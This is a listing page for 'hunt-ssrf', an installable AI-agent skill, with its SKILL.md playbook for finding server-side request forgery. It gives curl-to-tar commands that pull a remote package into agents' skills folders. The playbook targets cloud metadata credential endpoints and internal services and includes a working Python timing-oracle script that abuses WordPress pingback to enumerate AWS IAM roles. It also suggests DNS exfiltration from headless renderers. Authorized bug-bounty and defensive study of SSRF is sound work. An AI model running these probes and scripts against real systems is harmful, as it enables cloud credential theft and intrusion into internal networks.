hunt-ssrf – Security skill for AI agents
Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exchange $25k, Capital One 106M-record breach, Dropbox/HelloSign $4,913), GCP metadata SSRF (Snapchat $4k), Azure IMDS SSRF (Azure DevOps $15k chain, ChatGPT Custom Actions
Install the hunt-ssrf skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssrf-98122.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-ssrf – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssrf-98122.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-ssrf – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssrf-98122.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-ssrf – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ssrf-98122.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-ssrf – then describe the task you want done.
SKILL.md content
When to Use
Use when the target has any feature that fetches a URL, imports data from a remote source, generates previews/screenshots, processes webhooks, or renders documents. SSRF allows an attacker to make the server itself perform network requests — reaching internal services, cloud metadata endpoints, and otherwise inaccessible infrastructure. Every link-preview, file-import, image-proxy, webhook-registration, PDF-generation, and redirect-following endpoint is a candidate. Highest-value targets: cloud-hosted SaaS, Kubernetes/orchestration platforms, CI/CD systems, and URL-fetching features.
Crown Jewel Targets
SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:
- Cloud-hosted SaaS products (GCP metadata at
[REDACTED_IP]ormetadata.google.internal, AWS IMDSv1) - Kubernetes/orchestration platforms — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations
- Internal developer tooling — CI/CD, workflow orchestration (Flyte, Argo), admin panels not exposed externally
- Link preview / URL fetching features — Reddit-style preview APIs, Slack-style unfurling, media processors
- Dataset/file import pipelines — anything that fetches remote URLs on behalf of a user
- Enterprise self-hosted software (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services
Payouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.
---
OOB-Or-It-Didn't-Happen Gate (Read First)
Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.
OOB means: a Burp Collaborator domain, an interactsh-client listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.
What is NOT confirmation of SSRF
- The server echoing your URL back in an error message. Example:
"The Web application at http://evil.example.com/x could not be found"— this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure. - The server returning a different status code for an external URL vs
localhost. Different error responses can come from URL-scheme validators, not from actual fetching. - A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.
What IS confirmation of SSRF
- A DNS lookup for your unique Collaborator subdomain appears in the OOB listener.
- An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.
- For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.
Default workflow
1. Plant the Collaborator subdomain first (sub-tag it per sink: dlsrcurl.<collab>, import.<collab>, etc., so callbacks tell you which sink fired).
2. Send the request to the target endpoint.
3. Wait 30–120 seconds, then poll the OOB listener.
4. Only after a confirmed callback do you claim SSRF.
5. If zero callbacks across all sub-tagged sinks: SSRF claims must be retracted, even if error messages echo URLs.
Lesson from a authorized engagement: SharePoint's /_layouts/15/download.aspx?SourceUrl= returned 500 with the title "The Web application at <attacker-URL> could not be found". Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded zero DNS or HTTP interactions. The "echo" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal SPFile/SPWebApplication resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.
---
Attack Surface Signals
URL Patterns to Hunt
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=JS Patterns (in client-side code)
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpointResponse Header Signals
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnamesTech Stack Signals
- Kubernetes — any public-facing aggregated API, metrics endpoints
- GCP — any service fetching URLs that runs on Compute Engine/GKE
- Node.js/Python with URL-fetching libraries (
requests,node-fetch,axios) - Headless browsers (Puppeteer, PhantomJS) used for screenshots/PDF — extremely high value
- XML/DSPL/CSV import features — XXE-style SSRF vector
- OAuth/webhook registration endpoints
---
Step-by-Step Hunting Methodology
1. Map all URL-input parameters across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.
2. Set up an out-of-band detection server using Burp Collaborator, interactsh, or https://canarytokens.org — you need a unique per-test DNS/HTTP callback domain.
3. Send your callback URL as the parameter value first (blind SSRF check before anything else):
url=https://YOUR.interactsh.com/test
Confirm the server makes an outbound connection. This proves execution before attempting internal targets.
4. Test internal cloud metadata endpoints:
- GCP:
http://metadata.google.internal/computeMetadata/v1/ - AWS:
http://[REDACTED_IP]/latest/meta-data/ - Azure:
http://[REDACTED_IP]/metadata/instance
5. Test localhost and common internal ports:
http://localhost/
http://127.0.0.1:8080/
http://127.0.0.1:6443/ (Kubernetes API)
http://127.0.0.1:2379/ (etcd)
http://127.0.0.1:9090/ (Prometheus)
http://127.0.0.1:9200/ (Elasticsearch)
6. Check for redirect-based SSRF — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.
6b. Timing Oracle — Blind Data Extraction from IMDS — When SSRF is confirmed but response content is not returned (e.g., WordPress pingback.ping faultCode 0), use timing differences to enumerate AWS IAM roles and extract IMDS metadata character-by-character:
import subprocess, time
def ssrf_time(url):
xml = f'''<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://target.com/</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
"https://target.com/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# IMDS response size correlates with timing
baseline = ssrf_time("http://[REDACTED_IP]/latest/meta-data/")
# Role exists = JSON payload (slower), 404 = tiny response (faster)
for role in ["admin","ec2","s3","lambda","ecs","SSM-Role","EC2Role"]:
t = ssrf_time(f"http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/{role}")
print(f" {role}: {t:.3f}s -> {'FOUND' if t > baseline*1.15 else '404'}")
Field evidence (retail.example.com, June 2026): IMDS /meta-data/ = 344ms, /iam/security-credentials/ = 435ms, /instance-id = 301ms. Timing varies proportionally to response size — enables blind extraction of IAM roles and metadata content.
Pitfall: Network jitter causes ±50ms variance. Run each test 3 times, use the median. Skip if baseline variance exceeds 20%.
7. Test JavaScript-execution contexts (headless browsers, PDF renderers):
- Inject
<script>tags that makeXMLHttpRequestorfetch()calls to internal services - Exfil via DNS: encode response data in subdomain of your callback domain
8. Enumerate the internal network using timing differences and error message variations:
- Port scan via response time (
connection refusedvs timeout) - Check error messages for hostname/IP leakage
9. Chain findings — if you have SSRF to internal services, look for:
- Unauthenticated admin endpoints
- Red
… (full content is in the download package)
Related skills
- fda-qsr-audit-prep – /compliance-os:fda-qsr-audit-prep [scope] — FDA 21 CFR 820 (QSR / QMSR) audit 6-question…
- hunt-supabase – Hunt Supabase exploitation — Supabase anon key discovery in JS bundles, REST API table…
- hunt-websocket – Hunt WebSocket vulnerabilities — Cross-Site WebSocket Hijacking (CSWSH), missing/weak…
- broken-authentication – Identify and exploit authentication and session management vulnerabilities in web…
- brooks-audit – Architecture audit that maps module dependencies, checks layering integrity, and flags…
- gdpr-audit-prep – /compliance-os:gdpr-audit-prep [scope] — GDPR audit 6-question Article-cited forcing…
- hunt-xss – Hunting skill for xss vulnerabilities. Built from 174 public bug bounty reports. Use…
- hunt-xxe – Hunting skill for xxe vulnerabilities. Built from 10 public bug bounty reports including…